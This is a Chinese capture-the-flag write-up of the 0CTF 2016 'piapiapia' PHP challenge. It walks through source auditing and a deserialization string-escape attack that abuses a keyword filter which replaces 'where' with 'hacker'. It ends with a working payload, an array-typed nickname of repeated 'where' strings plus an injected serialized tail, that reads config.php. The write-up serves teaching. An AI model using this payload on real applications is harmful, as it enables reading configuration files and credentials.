[0CTF 2016]piapiapia(字符逃逸详解)

目录

知识点

信息收集

尝试SQL注入

源码目录扫描

代码审计

payload生成


知识点

  • 信息泄露
  • 参数传递数组绕过字符串检测
  • 反序列化字符逃逸

信息收集

收集到了一只超可爱的小喵

尝试SQL注入

用户名不存在的回显 

密码无效的回显

用户存在,密码错误的回显

判断闭合(失败)

密码为3-16位数字

尝试到这里暂时没有思路了 

源码目录扫描

/profile.php

/register.php

/www.zip

竟然可以注册admin账户,应该不是越权类题目

登录后如下,先不填写内容,先下载www.zip的源码看看

代码审计

implode(separator,array)        函数返回一个由数组元素组合成的字符串

参数描述
separator可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。
array必需。要组合为字符串的数组。

在PHP中不能定义重名的函数,也包括不能再同一个类中定义重名的方法,所以也就没有方法重载。但在子类中可以定义和父类重名的方法,因为父类的方法已经在子类中存在,这样在子类中就可以把从父类中继承过来的方法重写。

通过extends来继承父类

register.php这里可以看到注册账户的检验逻辑

if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

config.php有个root用户,在服务端docker的主机里,$flag变量应该存的就是我们要的flag

class.php两个类:user和父类mysql

profile.php这里反序列化前面上传时序列化的文件,然后base64编码上传的文件

$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

upload.php上传的检测逻辑,这里上传的内容被序列化了

	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {

很明显我们的突破口在base64_encode(file_get_contents($profile['photo']));我们回溯看看photo参数的处理逻辑

$file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

    public function update_profile($username, $new_profile) {

        $username = parent::filter($username);

        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";

        return parent::update($this->table, 'profile', $new_profile, $where);

    }

    public function filter($string) {

        $escape = array('\'', '\\\\');

        $escape = '/' . implode('|', $escape) . '/';

        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');

        $safe = '/' . implode('|', $safe) . '/i';

        return preg_replace($safe, 'hacker', $string);

    }

$profile = unserialize($profile);

$phone = $profile['phone'];

$photo = base64_encode(file_get_contents($profile['photo']));

漏洞出现在这句逻辑里面,利用它通过file_get_contents,去请求config.php文件

$safe = array('select', 'insert', 'update', 'delete', 'where');

        $safe = '/' . implode('|', $safe) . '/i';

        return preg_replace($safe, 'hacker', $string);

hacker为6个字符,而where为5个字符,存在缩短逃逸的风险

我们现在来查找传参的入口

在profile.php里,photo是$profile数组里键名为photo的键值,$profile又是通过$user的show_profile方法传过来的

user类继承了mysql类,这里先调用了父类的filter函数,show_profile里面又调用了父类的select函数

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

$profile['phone'] = $_POST['phone'];

$profile['email'] = $_POST['email'];

$profile['nickname'] = $_POST['nickname'];

$profile['photo'] = 'upload/' . md5($file['name']);

调用链如下

profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

photo被md5处理,因此我们对nickname参数进行攻击

$profile['photo'] = 'upload/' . md5($file['name']);

我们查看nickname的处理条件

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

这个正则的意思是匹配除了a-zA-Z0-9_之外的字符, “^” 符号在 “[]” 里面为取非的意思。

这里用到数组绕过

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null

payload生成

本地调试查看数组和序列化的结尾均为";}

a:4:{s:5:"phone";i:17111111111;s:5:"email";s:9:"17@qq.com";s:8:"nickname";a:1:{i:0;s:5:"admin";}s:5:"photo";s:10:"config.php";}

目标payload处理

echo strlen('";}s:5:"photo";s:10:"config.php";}');

34

因此我们需要重复34个where进行字符串增长

因此我们payload指定为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

nickname改成nickname[] 数组

查看源码,base64解码拿得到flag

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值